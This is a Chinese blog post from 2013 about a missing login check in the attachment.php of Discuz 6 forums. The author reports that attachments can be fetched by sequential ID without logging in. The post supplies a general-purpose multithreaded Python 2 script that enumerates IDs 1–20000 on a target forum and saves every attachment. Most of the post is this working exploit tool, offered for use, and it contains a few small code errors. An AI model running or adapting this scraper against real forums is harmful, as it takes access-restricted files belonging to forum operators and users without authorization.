下载discuz 6 论坛的附件

前段时间我下了个python脚本把emsky的附件全部下载了,之前是因为偶然发现emsky附件不登陆也能访问,直接访问一个url就行了。

后来发现大部分discuz6的论坛都有这个bug,我想是因为discuz6的attachment.php没有检测用户是否登陆。

所以,要下载一个附件,这样就行了:

【论坛url】+attachment.php?atid+【附件id】

当然还有一些论坛可能有点验证机制,比如附件下载页面还要再点一个url,但一般这样的url都是明文的,所以也不难。

顺便再丢一个通用的很挫的python脚本:

# -*- coding: gbk -*-

import urllib, urllib2, cookielib
import os, time
import re
import thread
from os.path import basename
from urlparse import urlsplit

URL_INDEX=                        #论坛主页
DIRNAME  = "attdir"                         #下载目录
ID_START = 1                                #起始附件标号
ID_END   = 20000                            #结束附件标号
DIR_NUM  = 1000                             #一个目录内放的文件数
AID_PLUS_FN = True
URLATT = URL_INDEX+"/attachment.php?aid="

id_i = ID_START

def download(aid=0):
    global workdir
    try:
        url = "%s%d"%(URLATT,aid)
        r = urllib2.urlopen(url)
        fileName = ""
        if r.info().has_key('Content-Disposition'):
            fileName = r.info()['Content-Disposition'].split('filename=')[1]
            fileName = fileName.replace('"', '').replace("'", "")
        elif r.url != url: 
            fileName = ibasename(urlsplit(r.url)[2])
        if fileName <> "":
            if AID_PLUS_FN == True:
                fileName = "%08d_%s"%(aid,fileName)
            fpath="%05d000"%(aid/DIR_NUM)
            try:
                os.chdir(workdir+"/"+fpath)
            except:
                os.mkdir(workdir+"/"+fpath)
                os.chdir(workdir+"/"+fpath)
            #print fileName,
            if os.path.isfile(fileName):
                #print "ignore"
                pass
            else:
                f = open(fileName, 'wb')
                f.write(r.read())
                f.close()
                #print "done"
        else:
            pass
    except Exception,e:
            print e

def downloads(id_s,id_e):
    global id_i
    while id_i<=id_e:
        download(id_i)
        id_i = id_i+1
    print "thread ok"

if __name__ == '__main__':
    global workdir
    try:
        os.chdir(DIRNAME)
    except:
        os.mkdir(DIRNAME)
        os.chdir(DIRNAME)
    workdir = os.getcwd()
    print "start:%d\nend:%d\n"%(ID_START,ID_END)
    for i in range(0,10):
        thread.start_new_thread(downloads,(ID_START,ID_END))
    while True:pass
    
     
 

  

 

posted @ 2013-11-30 10:36  fwindpeak  阅读(773)  评论(0编辑  收藏  举报